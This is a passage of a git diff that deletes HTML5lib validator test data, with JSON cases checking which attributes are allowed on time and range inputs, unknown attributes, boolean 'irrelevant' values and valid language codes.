-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='range'>",
-"input": "<input type=range list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='range'>",
-"input": "<input type=range value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='range'>",
-"input": "<input type=range autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='range'>",
-"input": "<input type=range inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='range'>",
-"input": "<input type=range maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='range'>",
-"input": "<input type=range action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='range'>",
-"input": "<input type=range tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='time'>",
-"input": "<input type=time accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='time'>",
-"input": "<input type=time accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='time'>",
-"input": "<input type=time replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='time'>",
-"input": "<input type=time disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='time'>",
-"input": "<input type=time alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='time'>",
-"input": "<input type=time size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='time'>",
-"input": "<input type=time checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='time'>",
-"input": "<input type=time min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='time'>",
-"input": "<input type=time pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='time'>",
-"input": "<input type=time readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='time'>",
-"input": "<input type=time template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='time'>",
-"input": "<input type=time autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='time'>",
-"input": "<input type=time target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='time'>",
-"input": "<input type=time method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='time'>",
-"input": "<input type=time form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='time'>",
-"input": "<input type=time max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='time'>",
-"input": "<input type=time step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='time'>",
-"input": "<input type=time enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='time'>",
-"input": "<input type=time src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='time'>",
-"input": "<input type=time name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='time'>",
-"input": "<input type=time required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='time'>",
-"input": "<input type=time list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='time'>",
-"input": "<input type=time value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='time'>",
-"input": "<input type=time autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='time'>",
-"input": "<input type=time inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='time'>",
-"input": "<input type=time maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='time'>",
-"input": "<input type=time action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='time'>",
-"input": "<input type=time tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "unknown 'foo' attribute on <input type='checkbox'>",
-"input": "<input type=checkbox foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='text'>",
-"input": "<input type=text foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='image'>",
-"input": "<input type=image foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='number'>",
-"input": "<input type=number foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='month'>",
-"input": "<input type=month foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='radio'>",
-"input": "<input type=radio foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='file'>",
-"input": "<input type=file foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='password'>",
-"input": "<input type=password foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='move-up'>",
-"input": "<input type=move-up foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='submit'>",
-"input": "<input type=submit foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='add'>",
-"input": "<input type=add foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='hidden'>",
-"input": "<input type=hidden foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='email'>",
-"input": "<input type=email foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='week'>",
-"input": "<input type=week foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='date'>",
-"input": "<input type=date foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='datetime'>",
-"input": "<input type=datetime foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='move-down'>",
-"input": "<input type=move-down foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='reset'>",
-"input": "<input type=reset foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='url'>",
-"input": "<input type=url foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='button'>",
-"input": "<input type=button foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='remove'>",
-"input": "<input type=remove foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='range'>",
-"input": "<input type=range foo>",
-"fail-unless": "unknown-attribute"},
-
-{"description": "unknown 'foo' attribute on <input type='time'>",
-"input": "<input type=time foo>",
-"fail-unless": "unknown-attribute"}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/irrelevantattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/irrelevantattribute.test
deleted file mode 100755
index fa406130..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/irrelevantattribute.test
+++ /dev/null
@@ -1,63 +0,0 @@
-{"tests": [
-
-{"description": "valid irrelevant attribute value 'irrelevant'",
-"input": "<span irrelevant=irrelevant>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "valid irrelevant attribute value ''",
-"input": "<span irrelevant=''>",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "invalid irrelevant attribute value due to uppercase",
-"input": "<span irrelevant=IRRELEVANT>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value due to mixed case",
-"input": "<span irrelevant=IrReLeVaNt>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value due to leading space",
-"input": "<span irrelevant=' irrelevant'>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value due to trailing space",
-"input": "<span irrelevant='irrelevant '>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'foo'",
-"input": "<span irrelevant=foo>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value '0'",
-"input": "<span irrelevant=0>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value '1'",
-"input": "<span irrelevant=1>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'yes'",
-"input": "<span irrelevant=yes>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'no'",
-"input": "<span irrelevant=no>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'true'",
-"input": "<span irrelevant=true>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'false'",
-"input": "<span irrelevant=false>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'auto'",
-"input": "<span irrelevant=auto>",
-"fail-unless": "invalid-boolean-value"},
-
-{"description": "invalid irrelevant attribute value 'inherit'",
-"input": "<span irrelevant=inherit>",
-"fail-unless": "invalid-boolean-value"}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/validator/langattribute.test b/attic/vendor/plugins/HTML5lib/testdata/validator/langattribute.test
deleted file mode 100755
index 6c831a17..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/validator/langattribute.test
+++ /dev/null
@@ -1,5579 +0,0 @@
-{"tests": [
-
-{"description": "valid lang attribute 'roh'",
-"input": "<span lang=roh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gv'",
-"input": "<span lang=gv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gu'",
-"input": "<span lang=gu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'scn'",
-"input": "<span lang=scn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rom'",
-"input": "<span lang=rom>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ron'",
-"input": "<span lang=ron>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'alg'",
-"input": "<span lang=alg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oss'",
-"input": "<span lang=oss>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ale'",
-"input": "<span lang=ale>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'alb'",
-"input": "<span lang=alb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sco'",
-"input": "<span lang=sco>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'scc'",
-"input": "<span lang=scc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mni'",
-"input": "<span lang=mni>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gd'",
-"input": "<span lang=gd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'per'",
-"input": "<span lang=per>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ga'",
-"input": "<span lang=ga>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nwc'",
-"input": "<span lang=nwc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'osa'",
-"input": "<span lang=osa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gn'",
-"input": "<span lang=gn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'alt'",
-"input": "<span lang=alt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gl'",
-"input": "<span lang=gl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'scr'",
-"input": "<span lang=scr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mwr'",
-"input": "<span lang=mwr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ty'",
-"input": "<span lang=ty>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tw'",
-"input": "<span lang=tw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tt'",
-"input": "<span lang=tt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tr'",
-"input": "<span lang=tr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ts'",
-"input": "<span lang=ts>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tn'",
-"input": "<span lang=tn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'to'",
-"input": "<span lang=to>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tl'",
-"input": "<span lang=tl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tk'",
-"input": "<span lang=tk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'th'",
-"input": "<span lang=th>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ti'",
-"input": "<span lang=ti>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ven'",
-"input": "<span lang=ven>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tg'",
-"input": "<span lang=tg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'te'",
-"input": "<span lang=te>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uga'",
-"input": "<span lang=uga>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ta'",
-"input": "<span lang=ta>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fas'",
-"input": "<span lang=fas>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fat'",
-"input": "<span lang=fat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fan'",
-"input": "<span lang=fan>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fao'",
-"input": "<span lang=fao>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'got'",
-"input": "<span lang=got>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sme'",
-"input": "<span lang=sme>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'din'",
-"input": "<span lang=din>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hye'",
-"input": "<span lang=hye>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'guj'",
-"input": "<span lang=guj>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cmc'",
-"input": "<span lang=cmc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srd'",
-"input": "<span lang=srd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mdr'",
-"input": "<span lang=mdr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ml'",
-"input": "<span lang=ml>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'div'",
-"input": "<span lang=div>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zh'",
-"input": "<span lang=zh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tem'",
-"input": "<span lang=tem>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xho'",
-"input": "<span lang=xho>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mno'",
-"input": "<span lang=mno>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'roa'",
-"input": "<span lang=roa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'za'",
-"input": "<span lang=za>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'deu'",
-"input": "<span lang=deu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mk'",
-"input": "<span lang=mk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nbl'",
-"input": "<span lang=nbl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zu'",
-"input": "<span lang=zu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ter'",
-"input": "<span lang=ter>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tet'",
-"input": "<span lang=tet>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mnc'",
-"input": "<span lang=mnc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sun'",
-"input": "<span lang=sun>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'abk'",
-"input": "<span lang=abk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'suk'",
-"input": "<span lang=suk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kur'",
-"input": "<span lang=kur>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kum'",
-"input": "<span lang=kum>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'slo'",
-"input": "<span lang=slo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sus'",
-"input": "<span lang=sus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'new'",
-"input": "<span lang=new>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kua'",
-"input": "<span lang=kua>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sux'",
-"input": "<span lang=sux>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'den'",
-"input": "<span lang=den>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mr'",
-"input": "<span lang=mr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mul'",
-"input": "<span lang=mul>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lez'",
-"input": "<span lang=lez>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gla'",
-"input": "<span lang=gla>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bos'",
-"input": "<span lang=bos>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gle'",
-"input": "<span lang=gle>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eka'",
-"input": "<span lang=eka>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'glg'",
-"input": "<span lang=glg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'akk'",
-"input": "<span lang=akk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dra'",
-"input": "<span lang=dra>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aka'",
-"input": "<span lang=aka>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bod'",
-"input": "<span lang=bod>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'glv'",
-"input": "<span lang=glv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jrb'",
-"input": "<span lang=jrb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vie'",
-"input": "<span lang=vie>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ipk'",
-"input": "<span lang=ipk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uzb'",
-"input": "<span lang=uzb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sgn'",
-"input": "<span lang=sgn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sga'",
-"input": "<span lang=sga>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bre'",
-"input": "<span lang=bre>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'apa'",
-"input": "<span lang=apa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bra'",
-"input": "<span lang=bra>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aym'",
-"input": "<span lang=aym>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cha'",
-"input": "<span lang=cha>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chb'",
-"input": "<span lang=chb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'che'",
-"input": "<span lang=che>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chg'",
-"input": "<span lang=chg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chi'",
-"input": "<span lang=chi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chk'",
-"input": "<span lang=chk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aus'",
-"input": "<span lang=aus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chn'",
-"input": "<span lang=chn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cho'",
-"input": "<span lang=cho>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chp'",
-"input": "<span lang=chp>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chr'",
-"input": "<span lang=chr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chu'",
-"input": "<span lang=chu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chv'",
-"input": "<span lang=chv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chy'",
-"input": "<span lang=chy>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'msa'",
-"input": "<span lang=msa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iii'",
-"input": "<span lang=iii>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vot'",
-"input": "<span lang=vot>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mg'",
-"input": "<span lang=mg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ndo'",
-"input": "<span lang=ndo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ibo'",
-"input": "<span lang=ibo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'car'",
-"input": "<span lang=car>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mo'",
-"input": "<span lang=mo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mn'",
-"input": "<span lang=mn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mi'",
-"input": "<span lang=mi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mh'",
-"input": "<span lang=mh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cau'",
-"input": "<span lang=cau>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cat'",
-"input": "<span lang=cat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bur'",
-"input": "<span lang=bur>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mt'",
-"input": "<span lang=mt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cai'",
-"input": "<span lang=cai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'del'",
-"input": "<span lang=del>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ms'",
-"input": "<span lang=ms>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'byn'",
-"input": "<span lang=byn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mwl'",
-"input": "<span lang=mwl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'my'",
-"input": "<span lang=my>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cad'",
-"input": "<span lang=cad>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tat'",
-"input": "<span lang=tat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nde'",
-"input": "<span lang=nde>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tam'",
-"input": "<span lang=tam>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'spa'",
-"input": "<span lang=spa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tah'",
-"input": "<span lang=tah>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tai'",
-"input": "<span lang=tai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cze'",
-"input": "<span lang=cze>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'afh'",
-"input": "<span lang=afh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eng'",
-"input": "<span lang=eng>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'afa'",
-"input": "<span lang=afa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'id'",
-"input": "<span lang=id>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nyn'",
-"input": "<span lang=nyn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nyo'",
-"input": "<span lang=nyo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gez'",
-"input": "<span lang=gez>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nya'",
-"input": "<span lang=nya>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sio'",
-"input": "<span lang=sio>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sin'",
-"input": "<span lang=sin>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'afr'",
-"input": "<span lang=afr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'map'",
-"input": "<span lang=map>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fr'",
-"input": "<span lang=fr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lao'",
-"input": "<span lang=lao>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lah'",
-"input": "<span lang=lah>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nym'",
-"input": "<span lang=nym>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sna'",
-"input": "<span lang=sna>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lad'",
-"input": "<span lang=lad>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fy'",
-"input": "<span lang=fy>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'snk'",
-"input": "<span lang=snk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fa'",
-"input": "<span lang=fa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mac'",
-"input": "<span lang=mac>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mad'",
-"input": "<span lang=mad>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ff'",
-"input": "<span lang=ff>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lat'",
-"input": "<span lang=lat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fi'",
-"input": "<span lang=fi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fj'",
-"input": "<span lang=fj>",
